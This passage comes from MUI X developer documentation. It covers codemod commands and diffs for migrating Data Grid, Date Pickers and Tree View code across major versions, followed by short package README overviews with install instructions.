npx @mui/x-codemod@latest v8.0.0/data-grid/add-showToolbar-prop <path>
```

### Pickers codemods

#### `preset-safe` for Pickers v8.0.0

The `preset-safe` codemods for Pickers.



```bash
npx @mui/x-codemod@latest v8.0.0/pickers/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-adapter-date-fns-imports`](#rename-adapter-date-fns-imports)
- [`rename-type-imports`](#rename-type-imports)

#### `rename-adapter-date-fns-imports`

> [!WARNING]
> This codemod is not idempotent. Running it multiple times will rename the imports back and forth.
> Usage of `AdapterDateFnsV3` would be replaced by `AdapterDateFns` and a subsequent run would rename it to `AdapterDateFnsV2`.

- Renames `AdapterDateFns` and `AdapterDateFnsJalali` imports to `AdapterDateFnsV2` and `AdapterDateFnsJalaliV2` respectfully.

  ```diff
  -import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
  -import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalali';
  +import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFnsV2';
  +import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalaliV2';
  ```

- Renames `AdapterDateFnsV3` and `AdapterDateFnsJalaliV3` imports to `AdapterDateFns` and `AdapterDateFnsJalali` respectfully.

  ```diff
  -import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFnsV3';
  -import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalaliV3';
  +import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
  +import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalali';
  ```



```bash
npx @mui/x-codemod@latest v8.0.0/pickers/rename-adapter-date-fns-imports <path>
```

#### `rename-type-imports`

Renames:

- `usePickersTranslations` to `usePickerTranslations`
- `usePickersContext` to `usePickerContext`
- `FieldValueType` to `PickerValueType`
- `RangeFieldSection` to `FieldRangeSection`
- `PickerShortcutChangeImportance` to `PickerChangeImportance`

```diff
-import { usePickersTranslations, usePickersContext } from '@mui/x-date-pickers/hooks';
+import { usePickerTranslations, usePickerContext } from '@mui/x-date-pickers/hooks';
-import { FieldValueType } from '@mui/x-date-pickers';
+import { PickerValueType } from '@mui/x-date-pickers';
-import { RangeFieldSection } from '@mui/x-date-pickers-pro/models';
+import { FieldRangeSection } from '@mui/x-date-pickers-pro/models';
-import { PickerShortcutChangeImportance } from '@mui/x-date-pickers/PickersShortcuts';
+import { PickerChangeImportance } from '@mui/x-date-pickers/models';

 interface MyComponentProps {
-  valueType: FieldValueType;
+  valueType: PickerValueType;
   foo: string;
   bar: number;
 }
```



```bash
npx @mui/x-codemod@latest v8.0.0/pickers/rename-type-imports <path>
```

## v7.0.0

### 🚀 `preset-safe` for v7.0.0

A combination of all important transformers for migrating v6 to v7.
⚠️ This codemod should be run only once.
It runs codemods for both Data Grid and Date and Time Pickers packages.
To run codemods for a specific package, refer to the respective section.

```bash
npx @mui/x-codemod@latest v7.0.0/preset-safe <path|folder>
```

The corresponding sub-sections are listed below

- [`preset-safe-for-pickers`](#preset-safe-for-pickers-v700)
- [`preset-safe-for-data-grid`](#preset-safe-for-data-grid-v700)
- [`preset-safe-for-tree-view`](#preset-safe-for-tree-view-v700)

### Pickers codemods

#### `preset-safe` for Pickers v7.0.0

The `preset-safe` codemods for Pickers.

```bash
npx @mui/x-codemod@latest v7.0.0/pickers/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-components-to-slots-pickers`](#rename-components-to-slots-pickers)
- [`rename-default-calendar-month-to-reference-date`](#rename-default-calendar-month-to-reference-date)
- [`rename-day-picker-classes`](#rename-day-picker-classes)
- [`rename-slots-types`](#rename-slots-types)

#### `rename-components-to-slots-pickers`

Renames the `components` and `componentsProps` props to `slots` and `slotProps`, respectively.

This change only affects Date and Time Picker components.

```diff
 <DatePicker
-  components={{ Toolbar: CustomToolbar }}
-  componentsProps={{ actionBar: { actions: ['clear'] } }}
+  slots={{ toolbar: CustomToolbar }}
+  slotProps={{ actionBar: { actions: ['clear'] } }}
 />;
```

```bash
npx @mui/x-codemod@latest v7.0.0/pickers/rename-components-to-slots <path>
```

#### `rename-default-calendar-month-to-reference-date`

Replace the `defaultCalendarMonth` prop with the `referenceDate` prop.

```diff
-<DateCalendar defaultCalendarMonth={dayjs('2022-04-01')};
+<DateCalendar referenceDate{dayjs('2022-04-01')} />
```

```bash
npx @mui/x-codemod@latest v7.0.0/pickers/rename-default-calendar-month-to-reference-date <path>
```

#### `rename-day-picker-classes`

Rename the `dayPickerClasses` variable to `dayCalendarClasses`.

```diff
-import { dayPickerClasses } from '@mui/x-date-pickers/DateCalendar';
+import { dayCalendarClasses } from '@mui/x-date-pickers/DateCalendar';
```

```bash
npx @mui/x-codemod@latest v7.0.0/pickers/rename-day-picker-classes <path>
```

#### `rename-slots-types`

Replace types suffix `SlotsComponent` by `Slots` and `SlotsComponentsProps` by `SlotProps`.

```diff
-DateCalendarSlotsComponent
-DateCalendarSlotsComponentsProps
+DateCalendarSlots
+DateCalendarSlotProps
```

```bash
npx @mui/x-codemod@latest v7.0.0/pickers/rename-slots-types <path>
```

### Data Grid codemods

#### `preset-safe` for Data Grid v7.0.0

The `preset-safe` codemods for Data Grid.

```bash
npx @mui/x-codemod@latest v7.0.0/data-grid/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-components-to-slots-data-grid`](#rename-components-to-slots-data-grid)
- [`rename-cell-selection-props`](#rename-cell-selection-props)
- [`remove-stabilized-v7-experimentalFeatures`](#remove-stabilized-v7-experimentalFeatures)

#### `rename-components-to-slots-data-grid`

Renames the `components` and `componentsProps` props to `slots` and `slotProps`, respectively.

This change only affects Data Grid components.

```diff
 <DataGrid
-  components={{ Toolbar: CustomToolbar }}
-  componentsProps={{ toolbar: { showQuickFilter: true }}}
+  slots={{ toolbar: CustomToolbar }}
+  slotProps={{ toolbar: { showQuickFilter: true }}}
 />;
```

```bash
npx @mui/x-codemod@latest v7.0.0/data-grid/rename-components-to-slots <path>
```

#### `rename-cell-selection-props`

Rename props related to `cellSelection` feature.

```diff
 <DataGridPremium
-  unstable_cellSelection
-  unstable_cellSelectionModel={{ 0: { id: true, currencyPair: true, price1M: false } }}
-  unstable_onCellSelectionModelChange={() => {}}
+  cellSelection
+  cellSelectionModel={{ 0: { id: true, currencyPair: true, price1M: false } }}
+  onCellSelectionModelChange={() => {}}
 />;
```

```bash
npx @mui/x-codemod@latest v7.0.0/data-grid/rename-cell-selection-props <path>
```

#### `remove-stabilized-v7-experimentalFeatures`

Remove feature flags for stabilized `experimentalFeatures`.

```diff
 <DataGrid
-  experimentalFeatures={{
-    lazyLoading: true,
-    ariaV7: true,
-    clipboardPaste: true,
-    columnGrouping: true,
-  }}
 />
```

```bash
npx @mui/x-codemod@latest v7.0.0/data-grid/remove-stabilized-experimentalFeatures <path>
```

### Tree View codemods

#### `preset-safe` for Tree View v7.0.0

The `preset-safe` codemods for Tree View.

```bash
npx @mui/x-codemod@latest v7.0.0/tree-view/preset-safe <path|folder>
```

The list includes these transformers

- [`rename-tree-view-simple-tree-view`](#rename-tree-view-simple-tree-view-1)
- [`rename-use-tree-item`](#rename-use-tree-item)
- [`rename-expansion-props`](#rename-expansion-props)
- [`rename-selection-props`](#rename-selection-props)
- [`replace-transition-props-by-slot`](#replace-transition-props-by-slot)
- [`rename-focus-callback`](#rename-focus-callback)
- [`rename-nodeid`](#rename-nodeid)

#### `rename-tree-view-simple-tree-view`

Renames the Tree View component to Simple Tree View

```diff
-import { TreeView } from '@mui/x-tree-view';
+import { SimpleTreeView } from '@mui/x-tree-view';

-import { TreeView } from '@mui/x-tree-view/TreeView';
+import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';

 return (
-  <TreeView>
+  <SimpleTreeView>
     <TreeItem itemId="1" label="First item" />
-  </TreeView>
+  </SimpleTreeView>
 );
```

#### `rename-use-tree-item`

Renames the `useTreeItem` hook to `useTreeItemState`

```diff
-import { TreeItem, useTreeItem } from '@mui/x-tree-view/TreeItem';
+import { TreeItem, useTreeItemState } from '@mui/x-tree-view/TreeItem';

 const CustomContent = React.forwardRef((props, ref) => {
-  const { disabled } = useTreeItem(props.itemId);
+  const { disabled } = useTreeItemState(props.itemId);

   // Render some UI
 });

 function App() {
   return (
     <SimpleTreeView>
       <TreeItem ContentComponent={CustomContent} />
     </SimpleTreeView>
   )
 }
```

#### `rename-expansion-props`

Rename the expansion props

```diff
 <TreeView
-  onNodeToggle={handleExpansionChange}
+  onExpandedItemsChange={handleExpansionChange}

-  expanded={expandedItems}
+  expandedItems={expandedItems}

-  defaultExpanded={defaultExpandedItems}
+  defaultExpandedItems={defaultExpandedItems}
 />
```

#### `rename-selection-props`

Rename the selection props

```diff
 <TreeView
-  onNodeSelect={handleSelectionChange}
+  onSelectedItemsChange={handleSelectionChange}

-  selected={selectedItems}
+  selectedItems={selectedItems}

-  defaultSelected={defaultSelectedItems}
+  defaultSelectedItems={defaultSelectedItems}
 />
```

#### `replace-transition-props-by-slot`

Replace the `TransitionComponent` and `TransitionProps` components with the `groupTransition` slot:

```diff
 <TreeItem
-  TransitionComponent={Fade}
+  slots={{ groupTransition: Fade }}

-  TransitionProps={{ timeout: 600 }}
+  slotProps={{ groupTransition: { timeout: 600 } }}
 />
```

#### `rename-focus-callback`

Replace the `onNodeFocus` callback with `onItemFocus`:

```diff
 <TreeView
-  onNodeFocus={onNodeFocus}
+  onItemFocus={onItemFocus}
 />
```

#### `rename-nodeid`

Rename nodeId to itemId

```diff
 <TreeItem
-  nodeId='unique-id'
+  itemId='unique-id'
```

## v6.0.0

### 🚀 `preset-safe` for v6.0.0

A combination of all important transformers for migrating v5 to v6.
⚠️ This codemod should be run only once.
It runs codemods for both Data Grid and Date and Time Pickers packages.
To run codemods for a specific package, refer to the respective section.

```bash
npx @mui/x-codemod@latest v6.0.0/preset-safe <path|folder>
```

The corresponding sub-sections are listed below

- [`preset-safe-for-pickers`](#preset-safe-for-pickers-v600)
- [`preset-safe-for-data-grid`](#preset-safe-for-data-grid-v600)

### Pickers codemods

#### `preset-safe` for Pickers v6.0.0

The `preset-safe` codemods for Pickers.

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/preset-safe <path|folder>
```

The list includes these transformers

- [`adapter-change-import`](#adapter-change-import)
- [`view-components-rename`](#view-components-rename)
- [`view-components-rename-value-prop`](#view-components-rename-value-prop)
- [`localization-provider-rename-locale`](#localization-provider-rename-locale)
- [`text-props-to-localeText`](#text-props-to-localeText)
- [`replace-tabs-props`](#replace-tabs-props)
- [`replace-toolbar-props-by-slot`](#replace-toolbar-props-by-slot)
- [`migrate-to-components-componentsProps`](#migrate-to-components-componentsProps)
- [`replace-arrows-button-slot`](#replace-arrows-button-slot)
- [`rename-should-disable-time`](#rename-should-disable-time)
- [`rename-inputFormat-prop`](#rename-inputFormat-prop)
- [`rename-default-toolbar-title-localeText`](#rename-default-toolbar-title-localeText)

#### `adapter-change-import`

Import the adapters from `@mui/x-date-pickers` instead of `@date-io`.

```diff
-import AdapterJalaali from '@date-io/jalaali';
+import { AdapterMomentJalaali } from '@mui/x-date-pickers/AdapterMomentJalaali';
```

#### `view-components-rename`

Renames the view components.

```diff
-<CalendarPicker {...props} />
+<DateCalendar {...props} />

-<DayPicker {...props} />
+<DayCalendar {...props} />

-<CalendarPickerSkeleton {...props} />
+<DayCalendarSkeleton {...props} />

-<MonthPicker {...props} />
+<MonthCalendar {...props} />

-<YearPicker {...props} />
+<YearCalendar {...props} />

-<ClockPicker {...props} />
+<TimeClock {...props} />
```

#### `view-components-rename-value-prop`

Renames the `date` prop of the view components into `value`.

```diff
-<MonthPicker date={dayjs()} />
+<MonthCalendar value={dayjs()} />

-<YearPicker date={dayjs()} />
+<YearCalendar value={dayjs()} />

-<ClockPicker date={dayjs()} />
+<TimeClock value={dayjs()} />

-<CalendarPicker date={dayjs()} />
+<DateCalendar value={dayjs()} />
```

#### `localization-provider-rename-locale`

Renames the `locale` prop of the `LocalizationProvider` component into `adapterLocale`.

```diff
 <LocalizationProvider
   dateAdapter={AdapterDayjs}
-  locale="fr"
+  adapterLocale="fr"
 >
   {children}
 </LocalizationProvider

```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/localization-provider-rename-locale <path>
```

#### `text-props-to-localeText`

Replace props used for localization such as `cancelText` to their corresponding `localeText` key on all the Date and Time Pickers components.

```diff
 <DatePicker
-  cancelText="Cancelar"
+  localeText={{
+    cancelButtonLabel: "Cancelar"
+  }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/text-props-to-localeText <path>
```

If you were always using the same text value in all your components, consider moving those translation from the component to the `LocalizationProvider` by hand.

```diff
 <LocalizationProvider
   dateAdapter={AdapterDayjs}
+ localeText={{ cancelButtonLabel: "Cancelar" }}
 >
   <DatePicker
-    localeText={{ cancelButtonLabel: "Cancelar" }}
   />
   <DateTimePicker
-    localeText={{ cancelButtonLabel: "Cancelar" }}
   />
 </LocalizationProvider>
```

You can find more details about Date and Time breaking changes in [the migration guide](https://mui.com/x/migration/migration-pickers-v5/).

#### `replace-tabs-props`

Replace props used for `Tabs` in DateTime pickers by `componentsProps.tabs` properties.

```diff
 <DateTimePicker
-  hideTabs={false}
-  dateRangeIcon={<LightModeIcon />}
-  timeIcon={<AcUnitIcon />}
+  componentsProps={{
+    tabs: {
+      hidden: false,
+      dateIcon: <LightModeIcon />,
+      timeIcon: <AcUnitIcon />,
+    }
+  }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/replace-tabs-props <path>
```

#### `replace-toolbar-props-by-slot`

Replace props used to customize the `Toolbar` in pickers by slots properties and `localeText`.

```diff
 <DatePicker
-  ToolbarComponent={MyToolbar}
+  components={{ Toolbar: MyToolbar }}
-  toolbarPlaceholder="__"
-  toolbarFormat="DD / MM / YYYY"
-  showToolbar
+  componentsProps={{
+    toolbar: {
+      toolbarPlaceholder: "__",
+      toolbarFormat: "DD / MM / YYYY",
+      hidden: false,
+    }
+  }}
-  toolbarTitle="Title"
+  localeText={{ toolbarTitle: "Title" }}
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/replace-toolbar-props-by-slot <path>
```

#### `migrate-to-components-componentsProps`

Replace customization props by their equivalent `components` and `componentsProps` properties.

```diff
 <DatePicker
-  PopperProps={{ onClick: handleClick }}
+  componentsProps={{ popper: { onClick: handleClick }}}
 />

 <DatePicker
-  TransitionComponent={Fade}
+  components={{ DesktopTransition: Fade }}
 />

 <DatePicker
-  DialogProps={{ backgroundColor: 'red' }}
+  componentsProps={{ dialog: { backgroundColor: 'red' }}}
 />

 <DatePicker
-  PaperProps={{ backgroundColor: 'red' }}
+  componentsProps={{ desktopPaper: { backgroundColor: 'red' }}}
 />

 <DatePicker
-  TrapFocusProps={{ isEnabled: () => false }}
+  componentsProps={{ desktopTrapFocus: { isEnabled: () => false }}}
 />

 <DatePicker
-  InputProps={{ color: 'primary' }}
+  componentsProps={{ textField: { InputProps: { color: 'primary' }}}}
 />

 <DatePicker
-  InputAdornmentProps={{ position: 'start' }}
+  componentsProps={{ inputAdornment: { position: 'start' }}}
 />

 <DatePicker
-  OpenPickerButtonProps={{ ref: buttonRef }}
+  componentsProps={{ openPickerButton: { ref: buttonRef }}}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/migrate-to-components-componentsProps <path>
```

#### `replace-arrows-button-slot`

Replace `LeftArrowButton` and `RightArrowButton` slots for navigation buttons by `PreviousIconButton` and `NextIconButton`.

```diff
 <DatePicker
   components={{
-    LeftArrowButton: CustomButton,
+    PreviousIconButton: CustomButton,
-    RightArrowButton: CustomButton,
+    NextIconButton: CustomButton,
   }}

   componentsProps={{
-    leftArrowButton: {},
+    previousIconButton: {},
-    rightArrowButton: {},
+    nextIconButton: {},
   }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/replace-arrows-button-slot <path>
```

#### `rename-should-disable-time`

Replace `shouldDisableTime` by `shouldDisableClock`.

```diff
  <DateTimePicker
-   shouldDisableTime={(timeValue, view) => view === 'hours' && timeValue < 12}
+   shouldDisableClock={(timeValue, view) => view === 'hours' && timeValue < 12}
  />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/rename-should-disable-time <path>
```

#### `rename-inputFormat-prop`

Replace `inputFormat` prop with `format`.

```diff
 <DatePicker
-  inputFormat="YYYY"
+  format="YYYY"
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/rename-inputFormat-prop <path>
```

#### `rename-default-toolbar-title-localeText`

Rename toolbar related translation keys, removing `Default` part from them to better fit their usage.

```diff
 <LocalizationProvider
   localeText={{
-    datePickerDefaultToolbarTitle: 'Date Picker',
+    datePickerToolbarTitle: 'Date Picker',
-    timePickerDefaultToolbarTitle: 'Time Picker',
+    timePickerToolbarTitle: 'Time Picker',
-    dateTimePickerDefaultToolbarTitle: 'Date Time Picker',
+    dateTimePickerToolbarTitle: 'Date Time Picker',
-    dateRangePickerDefaultToolbarTitle: 'Date Range Picker',
+    dateRangePickerToolbarTitle: 'Date Range Picker',
   }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/rename-default-toolbar-title-localeText <path>
```

#### `rename-components-to-slots-pickers`

Renames the `components` and `componentsProps` props to `slots` and `slotProps`, respectively.

This change only affects Date and Time Pickers components.

```diff
 <DatePicker
-  components={{ Toolbar: CustomToolbar }}
-  componentsProps={{ actionBar: { actions: ['clear'] } }}
+  slots={{ toolbar: CustomToolbar }}
+  slotProps={{ actionBar: { actions: ['clear'] } }}
 />;
```

```bash
npx @mui/x-codemod@latest v6.0.0/pickers/rename-components-to-slots <path>
```

### Data Grid codemods

#### `preset-safe` for Data Grid v6.0.0

The `preset-safe` codemods for Data Grid.

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/preset-safe <path|folder>
```

The list includes these transformers

- [`column-menu-components-rename`](#column-menu-components-rename)
- [`row-selection-props-rename`](#row-selection-props-rename)
- [`rename-rowsPerPageOptions-prop`](#rename-rowsPerPageOptions-prop)
- [`remove-disableExtendRowFullWidth-prop`](#remove-disableExtendRowFullWidth-prop)
- [`rename-linkOperators-logicOperators`](#rename-linkOperators-logicOperators)
- [`rename-filter-item-props`](#rename-filter-item-props)
- [`rename-selectors-and-events`](#rename-selectors-and-events)
- [`remove-stabilized-experimentalFeatures`](#remove-stabilized-experimentalFeatures)
- [`replace-onCellFocusOut-prop`](#replace-onCellFocusOut-prop)

#### `column-menu-components-rename`

Replace column menu items that have been renamed.

```diff
 <CustomColumnMenu>
-  <GridFilterMenuItem column={column} onClick={hideMenu} />
+  <GridColumnMenuFilterItem colDef={column} onClick={hideMenu} />
-  <HideGridColMenuItem column={column} onClick={hideMenu} />
+  <GridColumnMenuHideItem colDef={column} onClick={hideMenu} />
-  <GridColumnsMenuItem column={column} onClick={hideMenu} />
+  <GridColumnMenuColumnsItem colDef={column} onClick={hideMenu} />
-  <SortGridMenuItems column={column} onClick={hideMenu} />
+  <GridColumnMenuSortItem colDef={column} onClick={hideMenu} />
-  <GridColumnPinningMenuItems column={column} onClick={hideMenu} />
+  <GridColumnMenuPinningItem colDef={column} onClick={hideMenu} />
 </CustomColumnMenu>
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/column-menu-components-rename <path>
```

If you are using `GridRowGroupingColumnMenuItems` and `GridRowGroupableColumnMenuItems` for grouping, consider fixing them manually as these imports are replaced by `GridColumnMenuGroupingItem` and may require some extra work to port.

#### `row-selection-props-rename`

Data Grid props that have been renamed.

```diff
 <DataGrid
-  selectionModel={model}
+  rowSelectionModel={model}
-  onSelectionModelChange={handler}
+  onRowSelectionModelChange={handler}
-  disableSelectionOnClick
+  disableRowSelectionOnClick
-  disableMultipleSelection
+  disableMultipleRowSelection
-  showCellRightBorder
+  showCellVerticalBorder
-  showColumnRightBorder
+  showColumnVerticalBorder
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/row-selection-props-rename <path>
```

#### `rename-rowsPerPageOptions-prop`

Rename `rowsPerPageOptions` prop to `pageSizeOptions`.

```diff
 <DataGrid
-  rowsPerPageOptions={[5, 10, 20]}
+  pageSizeOptions={[5, 10, 20]}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/rename-rowsPerPageOptions-prop <path>
```

#### `remove-disableExtendRowFullWidth-prop`

Remove `disableExtendRowFullWidth` prop which is no longer supported.

```diff
 <DataGrid
-  disableExtendRowFullWidth
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/remove-disableExtendRowFullWidth-prop <path>
```

#### `rename-linkOperators-logicOperators`

Rename `linkOperators` related props to `logicOperators` and rename classes.

```diff
 const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [],
-   linkOperator: GridLinkOperator.Or,
-   quickFilterLogicOperator: GridLinkOperator.Or,
+   logicOperator: GridLogicOperator.Or,
+   quickFilterLogicOperator: GridLogicOperator.Or,
  });
- apiRef.current.setFilterLinkOperator('and')
- const localeText = apiRef.current.getLocaleText('filterPanelLinkOperator')
+ apiRef.current.setFilterLogicOperator('and')
+ const localeText = apiRef.current.getLocaleText('filterPanelLogicOperator')
 <DataGrid
  initialState={{
    filter: {
      filterModel: {
        items: [],
-       linkOperator: GridLinkOperator.Or,
-       quickFilterLogicOperator: GridLinkOperator.Or,
+       logicOperator: GridLogicOperator.Or,
+       quickFilterLogicOperator: GridLogicOperator.Or,
      },
    },
  }}
  filterModel={filterModel}
  componentsProps={{
    filter: {
-     linkOperators: [GridLinkOperator.And],
+     logicOperators: [GridLogicOperator.And],
      filterFormProps: {
-       linkOperatorInputProps: {
+       logicOperatorInputProps: {
          variant: 'outlined',
          size: 'small',
        },
      },
    },
  }}
  sx={{
-   '& .MuiDataGrid-filterFormLinkOperatorInput': { mr: 2 },
-   '& .MuiDataGrid-withBorder': { borderColor: '#456' },
+   '& .MuiDataGrid-filterFormLogicOperatorInput': { mr: 2 },
+   '& .MuiDataGrid-withBorderColor': { borderColor: '#456' },
  }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/rename-linkOperators-logicOperators <path>
```

#### `rename-filter-item-props`

Rename filter item props to the new values.

```diff
 <DataGrid
  columns={columns}
  rows={rows}
  initialState={{
    filter: {
      filterModel: {
        items: [
          {
-           columnField: 'column',
-           operatorValue: 'contains',
+           field: 'column',
+           operator: 'contains',
            value: 'a',
          },
        ],
      },
    },
  }}
  filterModel={{
    items: [
      {
-       columnField: 'column',
-       operatorValue: 'contains',
+       field: 'column',
+       operator: 'contains',
        value: 'a',
      },
    ],
  }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/rename-filter-item-props <path>
```

#### `rename-selectors-and-events`

Rename selectors and events.

```
/* Detailed source-code truncated for AI context efficiency. */
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/rename-selectors-and-events <path>
```

#### `remove-stabilized-experimentalFeatures`

Remove feature flags for stabilized `experimentalFeatures`.

```diff
 <DataGrid
-  experimentalFeatures={{
-    newEditingApi: true,
-  }}
 />
```

```diff
 <DataGrid
  experimentalFeatures={{
-   newEditingApi: true,
    columnGrouping: true,
  }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/remove-stabilized-experimentalFeatures <path>
```

#### `replace-onCellFocusOut-prop`

Replace `onCellFocusOut` prop with `componentsProps.cell.onBlur`.

```diff
 <DataGrid
-  onCellFocusOut={handleBlur}
+  componentsProps={{
+    cell: {
+      onBlur: handleBlur,
+    },
+  }}
 />
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/replace-onCellFocusOut-prop <path>
```

#### `rename-components-to-slots-data-grid`

Renames the `components` and `componentsProps` props to `slots` and `slotProps`, respectively.

This change only affects Data Grid components.

```diff
 <DataGrid
-  components={{ Toolbar: CustomToolbar }}
-  componentsProps={{ actionBar: { actions: ['clear'] } }}
+  slots={{ toolbar: CustomToolbar }}
+  slotProps={{ actionBar: { actions: ['clear'] } }}
 />;
```

```bash
npx @mui/x-codemod@latest v6.0.0/data-grid/rename-components-to-slots <path>
```

You can find more details about Data Grid breaking change in [the migration guide](https://mui.com/x/migration/migration-data-grid-v5/).

---

### Overview (`packages/x-data-grid-generator/README.md`)

# `@mui/x-data-grid-generator`

This package is used to generate data and build demos for the [MUI X Data Grid](https://mui.com/x/react-data-grid/).

⚠️ Do not use this package in production.

---

### Overview (`packages/x-data-grid-premium/README.md`)

# MUI X Data Grid Premium

This package is the Premium plan edition of the Data Grid components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-data-grid-premium @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-data-grid/](https://mui.com/x/react-data-grid/) to view the full documentation.

---

### Overview (`packages/x-data-grid-pro/README.md`)

# MUI X Data Grid Pro

This package is the Pro plan edition of the Data Grid component.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-data-grid-pro @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-data-grid/](https://mui.com/x/react-data-grid/) to view the full documentation.

---

### Overview (`packages/x-data-grid/README.md`)

# MUI X Data Grid

This package is the Community plan edition of the Data Grid components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-data-grid @mui/material @emotion/react @emotion/styled
```

## Documentation

Visit [https://mui.com/x/react-data-grid/](https://mui.com/x/react-data-grid/) to view the full documentation.

---

### Overview (`packages/x-date-pickers-pro/README.md`)

# MUI X Date Pickers Pro

This package is the Pro plan edition of the Date and Time Picker Components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-date-pickers-pro @mui/material @emotion/react @emotion/styled
```

Then install the date library of your choice (if not already installed).
The pickers currently support the following date libraries:

- [date-fns](https://date-fns.org/)
- [Day.js](https://day.js.org/)
- [Luxon](https://moment.github.io/luxon/#/)
- [Moment.js](https://momentjs.com/)

```bash
# date-fns
npm install date-fns

# or dayjs
npm install dayjs

# or luxon
npm install luxon

# or moment
npm install moment
```

After completing the installation, you have to set the `dateAdapter` prop of the `LocalizationProvider` accordingly.
The supported adapters are exported from `@mui/x-date-pickers-pro`.

```js
import { LocalizationProvider } from '@mui/x-date-pickers-pro';
// date-fns
import { AdapterDateFns } from '@mui/x-date-pickers-pro/AdapterDateFns';
// or for dayjs
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
// or for luxon
import { AdapterLuxon } from '@mui/x-date-pickers-pro/AdapterLuxon';
// or for moment
import { AdapterMoment } from '@mui/x-date-pickers-pro/AdapterMoment';

function App({ children }) {
  return <LocalizationProvider dateAdapter={AdapterDateFns}>{children}</LocalizationProvider>;
}
```

## Documentation

Visit [https://mui.com/x/react-date-pickers/](https://mui.com/x/react-date-pickers/) to view the full documentation.

---

### Overview (`packages/x-date-pickers/README.md`)

# MUI X Date Pickers

This package is the Community plan edition of the Date and Time Picker components.
It's part of [MUI X](https://mui.com/x/), an open-core extension of our Core libraries, with advanced components.

## Installation

Install the package in your project directory with:

```bash
npm install @mui/x-date-pickers @mui/material @emotion/react @emotion/styled
```

Then install the date library of your choice (if not already installed).
The pickers currently support the following date libraries:

- [date-fns](https://date-fns.org/)
- [Day.js](https://day.js.org/)
- [Luxon](https://moment.github.io/luxon/#/)
- [Moment.js](https://momentjs.com/)

```bash
# date-fns
npm install date-fns

# or dayjs
npm install dayjs

# or luxon
npm install luxon

# or moment
npm install moment
```

After completing the installation, you have to set the `dateAdapter` prop of the `LocalizationProvider` accordingly.
The supported adapters are exported from `@mui/x-date-pickers`.

```jsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
// date-fns
import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
// or for dayjs
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
// or for luxon
import { AdapterLuxon } from '@mui/x-date-pickers/AdapterLuxon';
// or for moment
import { AdapterMoment } from '@mui/x-date-pickers/AdapterMoment';

function App({ children }) {
  return <LocalizationProvider dateAdapter={AdapterDateFns}>{children}</LocalizationProvider>;
}
```

## Documentation

Visit [https://mui.com/x/react-date-pickers/](https://mui.com/x/react-date-pickers/) to view the full documentation.

---

### Overview (`packages/x-internal-gestures/README.md`)

# Gestures

A modern and robust multi-pointer gesture detection library for JavaScript and TypeScript applications. It is built on top of the Pointer Events API, and leverages the Event Target API to provide a flexible and extensible framework for detecting user gestures in across all modern browsers.

## Entrypoints

This library is structured into multiple entrypoints to allow for modular usage:

- `@mui/x-internal-gestures/core`: The core gesture detection library
- `@mui/x-internal-gestures/testing`: Utilities for simulating gestures in tests
- `@mui/x-internal-gestures/matchers`: Vitest matchers for testing gestures

### [Core](./src/core/README.md)

The core library for detecting and handling user gestures in web applications. It provides a flexible API for configuring and responding to various gesture interactions including tap, press, move, pan, pinch, rotate, and turn wheel.

### [Testing](./src/testing/README.md))

Utilities for simulating user gestures in browser testing environments. This works alongside `core` to make it easy to test gesture interactions.

### [Matchers](./src/matchers/README.md))

Vitest matchers for testing gestures, making it easier to ensure gesture implementations behave as expected.

## Supported Gestures

The following gestures are supported by the `@mui/x-internal-gestures` library:

- [Tap](./src/core/README.md#tap-gesture) - Detects when a user taps on an element
- [Press](./src/core/README.md#press-gesture) - Detects when a user presses and holds on an element
- [Move](./src/core/README.md#move-gesture) - Detects when a pointer enters, moves within, and leaves an element
